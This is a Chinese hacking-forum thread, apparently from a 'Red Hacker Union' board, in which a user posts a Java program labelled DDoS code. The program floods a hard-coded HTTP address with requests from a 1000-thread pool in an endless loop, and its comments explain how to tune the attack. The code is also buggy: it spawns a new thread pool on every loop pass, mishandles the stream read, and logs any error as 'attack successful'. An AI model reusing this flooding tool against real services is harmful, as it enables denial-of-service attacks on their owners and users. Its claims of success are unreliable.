[应急响应] java ddos代码

932 2
晓凤科技实名认证 2022-4-2 09:55:22 来自手机 | 显示全部楼层 |阅读模式
import lombok.extern.slf4j.Slf4j;

import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.URL;
import java.net.URLConnection;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

@Slf4j
public class DDOS implements Runnable {

    //攻击的网路地址或ip
    private static String ipAddr = "http://172.16.10.5:1888/";
    //攻击的ddos数量(太小没效果,太大容易自己死机)
    private static Integer ddosNum = 1000;

    //主方法
    public static void main(String[] args) {
        DDOS.attack();
    }

    public static void attack() {
        while (true) {
            //利用线程池创建ddos攻击线程数
            ExecutorService es = Executors.newFixedThreadPool(ddosNum);
            DDOS ddos = new DDOS();
            es.execute(ddos);
        }
    }

    public void run() {
        while (true) {
            try {
                URL url = new URL(ipAddr);
                URLConnection conn = url.openConnection();
                BufferedInputStream bis = new BufferedInputStream(
                        conn.getInputStream());
                byte[] bytes = new byte[10240];
                int len = -1;
                StringBuffer sb = new StringBuffer();
                if (bis != null) {
                    if ((len = bis.read()) != -1) {
                        sb.append(new String(bytes, 0, len));
                        log.info("doss攻击中。。。");
                        bis.close();
                    }
                }
            } catch (IOException e) {
                log.info("doss攻击成功!!!");
            }
        }
    }
}
Gr3yPh4ntom实名认证 2025-2-8 21:50:22 | 显示全部楼层
请区分DDoS和DoS谢谢
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

晓凤科技

初级红客

关注
  • 31
    主题
  • 11
    粉丝
  • 0
    关注
我是胡锦程,中国晓凤网络安全的创始人,会python等编程语言,懂得kali linux的使用,我时刻准备着,为中国网络安全事业作出贡献。

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行